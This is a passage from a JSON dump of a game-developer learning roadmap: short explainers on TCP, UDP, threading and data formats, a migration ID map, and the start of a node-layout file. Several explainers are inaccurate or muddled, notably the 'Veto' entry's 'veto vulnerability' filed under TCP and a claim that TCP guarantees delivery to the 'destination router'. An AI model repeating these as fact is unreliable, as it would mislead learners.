    "content": "# Synchrony\n\nIn a reactive paradigm, \"synchrony\" is a key concept related to data management and interactions among multiple components in a server-side game development context. It refers to the idea that operations or processes are executed 'in sync', meaning that the next operation starts strictly after the previous operation has already finished. In a synchronous communication, for instance, the sender can't start a new communication until the receiver confirmed receiving the last parcel. It's different from \"asynchrony\" where various operations can run concurrently, not waiting for previous operations to finish before moving on. Overall, understanding the concepts of synchrony and asynchrony are crucial for making efficient use of resources in server-side game development, and picking the right approach depends on the specific use case and requirements."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/task-based@LKPcEeqBOPhQOztD3cM3T.md",
    "content": "# Task-Based\n\nTask-based multithreading refers to a model where tasks are the units of work abstracted from threads. In this model, application logic is divided into smaller tasks, each capable of running independent of the others. The tasks are then executed by a pool of threads, managed by a scheduler. Unlike traditional thread-centric models where each thread performs a specific task, task-based multithreading allows for greater flexibility by decoupling the tasks from the threads and letting the system dynamically assign tasks to idle threads. With task-based multithreading, developers no longer need to manually manage threading details like creation, control, synchronization, and termination, hence enabling more focus on the development of the game logic."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/tcp-vs-udp@RfTcTUjaXyp49FnUf44MK.md",
    "content": "# TCP vs UDP\n\nTCP, or Transmission Control Protocol, is a connection-oriented protocol that guarantees delivery of packets to the destination router. It includes error-checking and ensures packets are delivered in the correct order. On the other hand, UDP, or User Datagram Protocol, is a connectionless protocol which doesn't guarantee delivery or ensure correct sequencing of packets. As a result, UDP is considered faster and more efficient for some applications like video streaming or online gaming where speed matters more than accuracy. So, choosing between TCP and UDP really boils down to the specific requirements and priorities of the situation - it's a trade-off between speed and reliability."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/tcp@mUCidjOsVLMAVDf2jmV5F.md",
    "content": "# TCP\n\nTCP, an acronym for Transmission Control Protocol, is a fundamental protocol in the suite of internet protocols. It is a connection-oriented, reliable, byte stream service that sits at the transport layer of the OSI Model. In simpler terms, TCP enables two hosts to establish a connection and exchange data. During this communication, TCP ensures that data is not lost or received out of order by providing error checking mechanisms and a system for retransmission of lost data. Furthermore, to ensure efficient use of network resources, TCP implements flow control, congestion control and provides a means for hosts to dynamically adjust the throughput of the connection."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/tdd@FKOhe21PVlaKIoZI4hd49.md",
    "content": "# TDD\n\n`Test Driven Development (TDD)` is a development strategy in which developers write tests before writing the bare minimum of code required for the test to be passed. The process involves three stages: red, green, and refactor. In the red phase, a test is written which initially fails (since the code it's testing doesn't exist yet). In the green phase, the minimal amount of code to make the test pass is created. Lastly, in the refactor phase, the written code is improved without affecting its behavior. The process is often visualized as a cycle: \"Red - Green - Refactor\". This repeating process allows for smaller, more defined feature development, reduces bug emergence, and encourages simple design. TDD is primarily used in agile development environments."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/tensorflow@iJE9RnKC8QjPnsFeZAbtl.md",
    "content": "# Tensor Flow\n\n**TensorFlow** is an open-source, end-to-end platform initially developed by Google Brain Team. Focusing on machine learning and equipped to handle deep learning tasks, TensorFlow takes input as a multi-dimensional array also known as a 'tensor'. The framework allows developers to create dataflow graphs. These graphs describe how data moves in a computing unit, be it a machine or a cloud. Within the graph, nodes represent mathematical operations while edges symbolize the tensors. TensorFlow is highly scalable and allows for computations across multiple CPUs or GPUs, making it appropriate for various tasks - be it server-side game development or research.\n"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/thread-building-block-c@tiG0mZpLJ2zUr2IPYyhnv.md",
    "content": "# Thread Building Block (C++)\n\nThe **Thread Building Blocks** (TBB) is an open-source C++ library developed by Intel. It is designed to take advantage of multi-core processors by simplifying the process of deploying parallel tasks. Using TBB, you can easily break down your tasks into smaller sub-tasks that can be processed in parallel, improving the speed and efficiency of your game server. TBB encompasses generic parallel algorithms, concurrent containers, a scalable memory allocator, work-stealing task scheduler, and low-level synchronization primitives. However, it's not a library for threading as POSIX or Win32 threads, rather, it's a higher-level, task-based parallelism that abstracts platform details and threading mechanism for performance and scalability."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/thread-local-storage@IeD-oQ1bkwlKNC-R0lJjZ.md",
    "content": "# Thread Local Storage\n\n`Thread Local Storage (TLS)` is a mechanism by which variables are allocated such that each thread gets its own individually allocated variable, but the name of the variable is the same in each thread. In other words, the same variable can simultaneously hold different values for different threads. TLS is required when you need to use a global or static variable in a thread-safe manner but the data must be unique to each thread. TLS can be used in many applications, but it is particularly useful for storing per-thread state in server applications."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/timestamp@6KAYNPLEFMp6Jha8FLMAU.md",
    "content": "# Timestamp\n\nA `timestamp` in server side game development is essentially a sequence of characters, encoding the date and time at which a certain event occurred. This data is particularly significant when tracking the sequence of certain events, debugging issues, logging, and when performing any sort of data analysis. The timestamp is typically generated by the server and it reflects the server's current date and time. For instance, you might find it in a server log file, indicating when each event occurred, or in a database row, showing when each row was created or last updated. Timestamps are often included in the HTTP headers to let the client know when the resource was last modified."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/tls@FX8ASd-QzTUFDHzBB93WK.md",
    "content": "# Tls"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/toml@l8iEC3g0ICSfmIE1MxcUl.md",
    "content": "# TOML\n\n`TOML`, which stands for Tom's Obvious, Minimal Language, is a configuration file format that is easy to read due to its straightforward and simple syntax. The language is designed to be unambiguous and lean, intending to make it easy for a machine to parse. It supports basic data types, such as Integer, String, Boolean, and Float, Date-Time, Array, and Table. Unlike other similar file formats, `TOML` provides a more structured hierarchy. You can use `TOML` for configuration, serialization, and other similar tasks in game development."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/transactions@r2OeI7YC1BLLfctC8q69W.md",
    "content": "# Transactions\n\nIn server-side game development, **transactions** are critical elements that facilitate the exchange or interaction between different processes and data streams. These are usually carried out via a database or a server and are atomically treated as a single unit of work, ensuring data consistency and integrity. Transactions follow a specific pattern known as ACID (Atomicity, Consistency, Isolation, Durability) which makes sure that all intended operations within a transaction are successfully performed or none of them are, preventing disruptions in the event of an error or failure. It also ensures that concurrent execution of transactions results in a system state that would be achieved if transactions were executed sequentially. It's important for a server-side game developer to understand how to manage and control transactions to maintain the robustness of the game's backend system."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/udp@IMyHwnXxJK6oFxzOMLxjS.md",
    "content": "# UDP\n\n`UDP`, or User Datagram Protocol, is a communications protocol that sends data over the internet. Unlike TCP (Transmission Control Protocol), it's a connectionless protocol that doesn't ensure data packet delivery. It transmits datagrams – an independent, discrete packet of data – without first establishing a proper handshake between the sender and the receiver. The sender doesn't wait for an acknowledgment after sending a datagram, and the receiver doesn't send any acknowledgment upon receiving a datagram. This makes UDP faster but less reliable than TCP. UDP is used for time-sensitive transmissions where dropped packets are acceptable, such as in live video streaming, voice over IP (VoIP), and online multiplayer gaming."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/update-process@3Eat22rFjUl4eTtGz8u4N.md",
    "content": "# Update Process\n\nIn the reactive model, the client sends requests to the server, which then processes the request and sends back a response. This model is called 'reactive' because the server only acts or 'reacts' when it receives a request from the client. The \"update process\" plays a vital role in this model. It's the server's responsibility to keep the game world updated and synchronized among all players. This updating process is typically done in a loop that processes all the changes that happen in the game like players’ actions, NPC movements, in-game events or game physics. It updates the game world and informs the players about the changes. Also, if a player makes changes like moving a character or attacking an enemy, it sends this information to the server adding it to the update loop. The frequency of this updating process is often referred to as 'tick rate'."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/veto@ZLTfpRZ0rF-mtd7Z0R2WF.md",
    "content": "# Veto\n\n`Veto` is often used in multiplayer games to prevent or allow certain actions during the game. For instance, players can issue commands to block specific actions from their opponents. As a server-side game developer, you must ensure security measures are in place to validate the authenticity of these commands to safeguard against potential vulnerability. A veto vulnerability can occur when malicious players manipulate veto commands to their advantage or disrupt the game, which can lead to an unfair gaming environment or even crash the server. Therefore, your code should always verify who is sending veto commands and check the validity of these commands."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/vulnerability@MwLWDlciJOq_0n5S3GoF-.md",
    "content": "# Vulnerability\n\n`TCP` (Transmission Control Protocol) is an important protocol known for its reliability in delivering data packets, but it also has several vulnerabilities. The most significant weakness is TCP’s susceptibility to a variety of **Denial-of-Service (DoS)** attacks, such as TCP SYN flood attacks, where an attacker sends a succession of SYN requests to a target's system in an attempt to consume server resources to make the system unresponsive. Additionally, sequence prediction can be exploited where an attacker can predict the sequence number of TCP packets to hijack the TCP session. There are also risks of IP spoofing, where an attacker can forge the IP address in the TCP packet header and pretend to be another user in the network. These vulnerabilities may expose sensitive information, disrupt normal functions or allow unauthorized access, especially in the context of a server-side game developer dealing with potentially large volumes of traffic."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/window-scaling@zvBKjceXRSfEe_3MDCEL5.md",
    "content": "# Window Scaling\n\nWindow Scaling is a mechanism in the Transmission Control Protocol (TCP) that provides support for larger receiver window sizes beyond the maximum limit of 65,535 bytes. This TCP feature is essential when dealing with high latency or high bandwidth networks (common in server-side game development), where frames might be significantly delayed or rapidly transmitted. The window size initially specified in the TCP header is augmented via a scale factor (defined during the connection setup), allowing the receiver window size to be as large as 1 gigabyte. However, keep in mind that Window Scaling can only be employed at the connection setup stage; once the connection is established, the scaling factor cannot be changed."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/windows@mW2L_9NckgPRH7g5W9NHq.md",
    "content": "# Windows\n\nIn the context of server-side game development, Windows operating system offers an API for Thread Local Storage (TLS). This refers to a mechanism by which variables are allocated that are unique for each thread in a program. When a thread reads from or writes to a TLS index, it is actually referencing a thread-specific memory block. This memory block is dynamically allocated from the system heap when the thread is created and subsequently freed up when the thread is terminated. This management of memory is done implicitly by the system which can reduce complexity for developers."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/winsock@GfTXffisLyQgp66zcQ7Py.md",
    "content": "# Winsock\n\n`Winsock` is an acronym for Windows Sockets API, a technical specification that defines how networking software should interact with TCP/IP network protocols, such as TCP, UDP, and ICMP, on a Windows Operating System. Essentially, Winsock provides an interface for developers to use when they need to write network applications. This API provides functionalities to create a socket, bind it to a specific address, listen to incoming connections, send and receive data, and finally, close the connection. Winsock also aids in handling network errors and exceptions. For developing multiplayer server-side games, it is useful in managing client-server communications, multiplayer logic, and real-time updates. Note that in the gaming context, the Winsock library is typically used for real-time, high-performance applications due to its low-level access to the TCP/IP stack."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/wsa-poll@D9Yeyn8phDhB1ohMWccgr.md",
    "content": "# WSA-Poll\n\n**WSA-Poll** is a Windows-specific alternative to `poll`, used for monitoring multiple sockets \nfor readiness in non-blocking network applications. It is commonly utilized in server-side \ngame development to handle multiple client connections efficiently. Unlike `select`, `WSA-Poll`\neliminates the limitation of FD_SETSIZE, allowing it to scale better for a larger number of \nconnections. However, it is generally less efficient than `epoll` on Linux due to its linear \nscanning mechanism. For high-performance game servers on Windows, IOCP (I/O Completion Ports) \nis often preferred over `WSA-Poll`.  \n\nVisit the following resources to learn more:\n\n- [@documentation@Microsoft WSA-Poll Documentation](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsapoll)"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/xml@v43K6srds7m5SQFqNaY0T.md",
    "content": "# XML\n\nXML, or Extensible Markup Language, is a language designed to store and transport data without being dependent on a particular software or hardware. Unlike HTML which displays data and focuses on how data looks, XML works as a tool to transfer data and emphasizes on what the data is. XML data is known as self-describing or self-defining, as it has the ability to define and describe the structure and data types itself. It uses tags just like HTML, but the tags in XML are not predefined; it allows the author to define his/her own tags and document structure. XML also supports Unicode, allowing almost any information in any human language to be communicated. It adheres to a strict syntax and is both human-readable and machine-readable, making it a widely used standard in web and server-side development."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/content/yaml@uHcUSVLz_2-Usk6ckSvwr.md",
    "content": "# YAML\n\nYAML, which stands for \"YAML Ain't Markup Language,\" is a human-readable data serialization standard that can be used in conjunction with all programming languages. It is often used to write configuration files and in applications where data is being stored or transmitted. YAML supports advanced features like referencing, merging, arrays and dictionaries. Also, it is flexible and supports various data structures like scalars, sequences, associative arrays. Though it might seem similar to JSON and XML, it focuses on data serialization rather than marking up documents, and ensures readability for humans. It uses a whitespace indentation to denote structure, which can simplify file format complexities."
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/faqs.astro",
    "content": "---\nimport type { FAQType } from '../../components/FAQs/FAQs.astro';\n\nexport const faqs: FAQType[] = [];\n---\n"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/migration-mapping.json",
    "content": "{\n  \"server-side\": \"rQArtuVKGVgLn_fw9yO3b\",\n  \"tcp\": \"mUCidjOsVLMAVDf2jmV5F\",\n  \"tcp:checksum\": \"XxBl-zO7CF6DpOZ2bMDxJ\",\n  \"tcp:segment-structure\": \"zTCmPUp9j5P1wpGgiboMa\",\n  \"tcp:operations:connection\": \"5sI3RHaLudq4TfpjoYeOp\",\n  \"tcp:operations:resource-usage\": \"LkGI0VpJ3WkpPHkJhJgWk\",\n  \"tcp:operations:data-transfer\": \"5bJUcx3v4dpdlIsx7bFvK\",\n  \"tcp:operations:max-segment-scaling\": \"1l5dhQWYPhUSg-cy5pSlK\",\n  \"tcp:operations:window-scaling\": \"zvBKjceXRSfEe_3MDCEL5\",\n  \"tcp:operations:timestamp\": \"6KAYNPLEFMp6Jha8FLMAU\",\n  \"tcp:operations:out-of-band-data\": \"3OMu3RM-6pMjqY1jAmC2-\",\n  \"tcp:operations:selective-acknowledgement\": \"SPpOO25b7wpajWDIrKi1u\",\n  \"tcp:operations:data-transfer:flow-control:error-detection\": \"vFM311xSa5OqNVove2f6j\",\n  \"tcp:operations:data-transfer:flow-control\": \"lDVD-3i64Mk7-KPJrXmFH\",\n  \"tcp:operations:data-transfer:congestion-control\": \"1GML0Jsfdb1Fn-0PNryiQ\",\n  \"tcp:operations:data-transfer:reliable-transmission\": \"X2KHWgQZDHSVDsTRMUwSj\",\n  \"tcp:vulnerability\": \"MwLWDlciJOq_0n5S3GoF-\",\n  \"tcp:vulnerability:denial-of-service\": \"TbXJO__4xSnzK1fvvJK86\",\n  \"tcp:vulnerability:connection-hijacking\": \"ubRiY3jdh3iS3diN482IU\",\n  \"tcp:vulnerability:veto\": \"ZLTfpRZ0rF-mtd7Z0R2WF\",\n  \"udp\": \"IMyHwnXxJK6oFxzOMLxjS\",\n  \"udp:reliability\": \"Vh81GnOUOZvDOlOyI5PwT\",\n  \"udp:datagram\": \"wD_HWc9YxPhlkilt585pg\",\n  \"udp:congestion-control\": \"jsNsyrGzegVnjIF2l52vI\",\n  \"udp:checksum\": \"tBOvBpDi3SOKZjAmkxdM0\",\n  \"udp:packet-structure\": \"CCxVnrGDKa1EROXgF_OAm\",\n  \"tcp-vs-udp\": \"RfTcTUjaXyp49FnUf44MK\",\n  \"tcp-vs-udp:reliable-vs-unreliable\": \"MoyBGT9bscUe8vMN4J0bG\",\n  \"tcp-vs-udp:ordered-vs-not-ordered\": \"WMdCDmFsytsF2AWQXfzC8\",\n  \"tcp-vs-udp:heavyweight-vs-lightweight\": \"OYXKtl4A-vaK6yGO6hS6n\",\n  \"tcp-vs-udp:packet-vs-datagram\": \"JE3uZ5U6oe6dVzsmglTl2\",\n  \"tcp-vs-udp:streaming-vs-broadcast\": \"pJw8fN1dt3BABtZVz7wGE\",\n  \"ip\": \"tg94V7K0mgYhpkUMp_Scv\",\n  \"ip:capability\": \"5kF1fqr-mn5-15e3aMa9k\",\n  \"ip:reliability\": \"2jDV-ovvrkBbTTLk5VbR9\",\n  \"ip:link-capacity\": \"OzY-LPcfj1sBm_0F0WbIJ\",\n  \"ip:functions\": \"YPvm8XD_FaFYCQ-b7-KsH\",\n  \"ip:functions:datagram-construction\": \"jnQAzUUnwpJgoRuRIFtSe\",\n  \"ip:functions:ip-addressing\": \"3ZcJNDCHw2pFzewmoB-03\",\n  \"ip:functions:routing\": \"bYb7nA-Vn9e6VtdbUT3tq\",\n  \"ip:transactions\": \"r2OeI7YC1BLLfctC8q69W\",\n  \"ip:categories\": \"NH2eQ1_nij1icTgoO027b\",\n  \"ip:security\": \"qkO0s9zR0sAnjTRWcrLQY\",\n  \"programming-languages\": \"6ilqzjvI4J1pUCmTJ33PA\",\n  \"programming-languages:javascript\": \"ufufnULqsglE5VhEIAdSI\",\n  \"programming-languages:java\": \"LG8JPL1po-gEs1V5JyC8F\",\n  \"programming-languages:c-cpp\": \"E4H3hniIW6hKpH3Qr--N5\",\n  \"programming-languages:c-sharp\": \"DuyUc9a-47Uz03yr4aeyg\",\n  \"programming-languages:erlang\": \"QGtGx5LBEWa1DD3Y7ztUy\",\n  \"socket-programming\": \"HvpuFTCknHPhnFkhmhRc4\",\n  \"socket-programming:byte-manipulation\": \"H21PanCggDfQt34-JzgfO\",\n  \"socket-programming:address-conversion\": \"SBA7pa9o0AM0ZEBepd7UM\",\n  \"socket-programming:descriptor\": \"OAyMj6uLSv1yJ87YAjyZu\",\n  \"socket-programming:api:bsd-socket\": \"U_tZFM80W3xJx8jj4skCr\",\n  \"socket-programming:api\": \"a2pcxVTGdAPw8aLvdr19M\",\n  \"socket-programming:api:winsock\": \"GfTXffisLyQgp66zcQ7Py\",\n  \"ip:transactions:arp\": \"JI_wUdT2hjsrvbIhLvHcT\",\n  \"ip:transactions:dns\": \"yNytLrQAMKBw4t73YRL3J\",\n  \"ip:transactions:dhcp\": \"aTHJh-xw8soCxC1bIDdXm\",\n  \"ip:categories:ipv4\": \"pHVB0K8Vtk3ToD6n_f1wv\",\n  \"ip:categories:ipv6\": \"TqBlAMfhARhlJed6xD7eg\",\n  \"ip:security:tls\": \"FX8ASd-QzTUFDHzBB93WK\",\n  \"serialization\": \"TS6dz61rUSxm-SqmK6JKe\",\n  \"serialization:json\": \"y0ZJQQfi8Qx6sB4WnZlP5\",\n  \"serialization:xml\": \"v43K6srds7m5SQFqNaY0T\",\n  \"serialization:yaml\": \"uHcUSVLz_2-Usk6ckSvwr\",\n  \"serialization:toml\": \"l8iEC3g0ICSfmIE1MxcUl\",\n  \"serialization:protobuf\": \"w2zbab_6Gxw6AWS0N759U\",\n  \"multithreading\": \"3QSLUMKD0G08N3MIb1cG7\",\n  \"multithreading:fiber\": \"TVJrlUsg30YIM1yjsZfJI\",\n  \"multithreading:sharding\": \"3use5vuLBJTk40wOg9S-X\",\n  \"multithreading:thread-localstorage\": \"IeD-oQ1bkwlKNC-R0lJjZ\",\n  \"multithreading:thread-localstorage:windows\": \"mW2L_9NckgPRH7g5W9NHq\",\n  \"multithreading:thread-localstorage:pthread\": \"HU0yUyl89WD8WnR9PJn7l\",\n  \"programming-techniques:design-patterns\": \"gB-TYpgUDV47bxznNJhYn\",\n  \"programming-techniques:tdd\": \"FKOhe21PVlaKIoZI4hd49\",\n  \"programming-techniques:dependency-injection\": \"uTlxyDOtvt_Qp0gXLWO-j\",\n  \"programming-techniques:dump-analysis\": \"1c6EqGv1g-d8M1i0vKImb\",\n  \"programming-techniques:functional-programming\": \"HXSWvhgT4L5w6xgOO-3kj\",\n  \"programming-techniques\": \"tGQu18PWDatW7HvkTP-uh\",\n  \"multithreading:synchronization:barrier\": \"6k25amPkU9lnZ7FMNn_T6\",\n  \"multithreading:synchronization:spinlock\": \"lVXfA_oZr82mFfBvLnnRK\",\n  \"multithreading:synchronization:condition-variable\": \"xR6pERldq4wPl9GVLHAhT\",\n  \"multithreading:synchronization\": \"idmrgKgVWVLZYANbXiZnS\",\n  \"multithreading:synchronization:mutex\": \"G_BEJKkJ1_Nc43aosy_iS\",\n  \"multithreading:synchronization:mutex:semaphore\": \"DYvzGc_r0SlOArPPc1gNI\",\n  \"multithreading:synchronization:future-promises:coroutine\": \"o0Y_hM0KXUApfsXG4PvOY\",\n  \"multithreading:synchronization:future-promises:channel\": \"SXOEMkcVYBsRza6BPmmwy\",\n  \"multithreading:synchronization:future-promises\": \"zbIbPlqTNSbJUkqH9iLQv\",\n  \"databases\": \"FLFaGZDg2MSG6_YHnWETM\",\n  \"databases:orm\": \"OyxWMFy8s7Lxko_K89fjo\",\n  \"databases:dal\": \"dt_SmZuwklLimhupvjxC1\",\n  \"databases:rdbms:mysql\": \"HsBqd08Ro0VJnx0FlumMQ\",\n  \"databases:rdbms:postgresql\": \"dAiEwN7phwMyaitvM5kRl\",\n  \"databases:rdbms:mssql\": \"QMNUAKAuRI9lyf2_jUPsj\",\n  \"databases:nosql:dynamo-db\": \"9vc7sFE_XakYXtKRMxLXi\",\n  \"databases:nosql:mongodb\": \"HYxtPW401-J6aYcTuiGnx\",\n  \"databases:nosql:cassandra\": \"1jqSxk1nwByiQa1De81F3\",\n  \"databases:nosql:couchbase\": \"6KTj_giX2k9l2lPd_Fp-d\",\n  \"cipher\": \"1788KFqsQBkYARqA0T5GX\",\n  \"cipher:ssl\": \"PSvPjaVtko71BeIA-hYqf\",\n  \"databases:key-value:redis\": \"7YNaELVcoV7DV1Fa06USi\",\n  \"databases:key-value:memcached\": \"ayeezKxQkXAPJMTShsOBU\",\n  \"rpc-rest\": \"YxaroYL_Az0vKRCeu2jsp\",\n  \"rpc-rest:grpc\": \"_uqTTBUYAzDHbEUkDzmzg\",\n  \"rpc-rest:rest\": \"Oq3GQ5gBUxIl1Qe8NB3LB\",\n  \"message-queues:kafka\": \"gL7hubTh3qiMyUWeAZNwI\",\n  \"message-queues:rabbitmq\": \"UESjGrFyUbNf4pQamaBoy\",\n  \"message-queues\": \"cw7WdFfL5HpeZ_n8wYk2t\",\n  \"mutlithreading-2\": \"_jd91rrAXGbJI9RhXlSx8\",\n  \"mutlithreading-2:reactive-approach:oorp\": \"yWj70LpF4LKB8J6GbYvsq\",\n  \"mutlithreading-2:reactive-approach:frp\": \"xDYOvIbXc-iJ2zOKqe0YL\",\n  \"mutlithreading-2:reactive-approach\": \"LVwGXmZhMewGQy61qwNyu\",\n  \"mutlithreading-2:reactive-model\": \"p0P3ZGq_QTCop0vMwe7P3\",\n  \"mutlithreading-2:reactive-model:synchrony\": \"l5QTk408Ubagw8XzRAfoZ\",\n  \"mutlithreading-2:reactive-model:determinism\": \"zFx1jjt1hKgCpYHFTzbZZ\",\n  \"mutlithreading-2:reactive-model:update-process\": \"3Eat22rFjUl4eTtGz8u4N\",\n  \"cloud\": \"hhtqvFfTCuVPT0OPu4Y1a\",\n  \"mutlithreading-2:task-based:goroutine\": \"f-L_eaZd0EjBW9-n9Pllt\",\n  \"mutlithreading-2:task-based:concurrency\": \"RT9XvlxvIM_hHTtNmbva3\",\n  \"mutlithreading-2:task-based:async-await\": \"mAXMpUDmhGOncnCRrENJv\",\n  \"mutlithreading-2:task-based:thread-building-block\": \"tiG0mZpLJ2zUr2IPYyhnv\",\n  \"mutlithreading-2:task-based\": \"LKPcEeqBOPhQOztD3cM3T\",\n  \"mutlithreading-2:asynchronous:proactor:iocp:registered-io\": \"94hJX1iGifDzIuaU3zU5j\",\n  \"mutlithreading-2:asynchronous:proactor:iocp:io-uring\": \"YH7u1FKh85wz78J0stuzS\",\n  \"mutlithreading-2:asynchronous:proactor:iocp\": \"7pgdOZomhGilBTwfJLMbm\",\n  \"mutlithreading-2:asynchronous:proactor\": \"Tvxe2NemcH21y-eB4bosv\",\n  \"mutlithreading-2:asynchronous\": \"ThBxS9xIMt9OrXfnto3rW\",\n  \"mutlithreading-2:asynchronous:reactor\": \"7mYpgn2gr-5vAYW-UR7_x\",\n  \"mutlithreading-2:asynchronous:reactor:select\": \"5-5toy2CblZPCV9d5QPEo\",\n  \"mutlithreading-2:asynchronous:reactor:wsa-poll\": \"D9Yeyn8phDhB1ohMWccgr\",\n  \"mutlithreading-2:asynchronous:reactor:epoll\": \"qaWv4gxnnj3uX8lEm9KQ4\",\n  \"mutlithreading-2:asynchronous:reactor:kqueue\": \"caK32NMMrn-3BGAXZoPPr\",\n  \"mutlithreading-2:actor-model\": \"KUQEgHldZPOLwFoXqQ2vM\",\n  \"mutlithreading-2:actor-model:akka-net\": \"SsOz9Pj6Jc_55PgpmziL6\",\n  \"mutlithreading-2:actor-model:akka\": \"eAEpEUVZcSKO9uCIlMN5y\",\n  \"cloud:azure\": \"73uoFNGcCALxIuRNbebav\",\n  \"cloud:gcp\": \"wD6dUrS-tP2gpCHPghFp5\",\n  \"cloud:aws\": \"Rkx2A6oWsddlCTseZlpRU\",\n  \"cloud:serverless\": \"DOmbRRK_RRPElOuTB7AAK\",\n  \"data-clustering\": \"XCJvgUSS7-oDR-XGdDY33\",\n  \"data-clustering:apache-spark\": \"yrWiWJMSyTWxDakJbqacu\",\n  \"containerization:docker\": \"zW_7VLeEHQp8fp_f5N__0\",\n  \"containerization\": \"k3FJY26SVxdZx4MLLE25h\",\n  \"containerization:docker:docker-compose\": \"yAf7VDX7dyaT5AdlNnuKD\",\n  \"containerization:docker:kubernetes\": \"lUBUUoETjfADmM4OPtwwX\",\n  \"ai\": \"dkCVwuy8GKeEi3VJar_Zo\",\n  \"ai:deep-learning\": \"jkWvfp4GqckYPQ48GtjlR\",\n  \"ai:deep-learning:tensor-flow\": \"iJE9RnKC8QjPnsFeZAbtl\",\n  \"ai:deep-learning:pytorch\": \"LTSIfq10qDJMTCnIIyqvb\",\n  \"ai:cloud-ml\": \"XvvlvDKfYRCcYtTdWohsd\",\n  \"ai:cloud-ml:amazon-ml\": \"U0RlO_puezQPZP0-iBXgW\",\n  \"ai:cloud-ml:azure-ml\": \"vBqwmlzoT5XVEhV9IeGso\"\n}"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/server-side-game-developer.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"9Rf_ESmrOhmLgeiAmo2aE\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -14.150757605772469,\n        \"y\": 1529.1065060656979\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 145,\n      \"positionAbsolute\": {\n        \"x\": -14.150757605772469,\n        \"y\": 1529.1065060656979\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 145\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 145\n      }\n    },\n    {\n      \"id\": \"MyM7wSUeqDXwWqq497EIb\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 346.8414717224867,\n        \"y\": 2326.8720132492394\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 116,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 116\n      },\n      \"positionAbsolute\": {\n        \"x\": 346.8414717224867,\n        \"y\": 2326.8720132492394\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 116\n      }\n    },\n    {\n      \"id\": \"i5G_vqW3djl1tMFlHhzGi\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -219.23195037554086,\n        \"y\": 1607.8976823971498\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 67,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 67,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -219.23195037554086,\n        \"y\": 1607.8976823971498\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 67,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"ax0zKGmEcWhEyfTLVL_q_\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -146.95654296875,\n        \"y\": 1812.4564918532815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 100\n      },\n      \"positionAbsolute\": {\n        \"x\": -146.95654296875,\n        \"y\": 1812.4564918532815\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 100\n      }\n    },\n    {\n      \"id\": \"4UzHjUtWQExUbCApQZrb1\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -51.14448607509672,\n        \"y\": 1482.4027065582582\n      },\n      \"width\": 123,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 123,\n        \"height\": 49\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        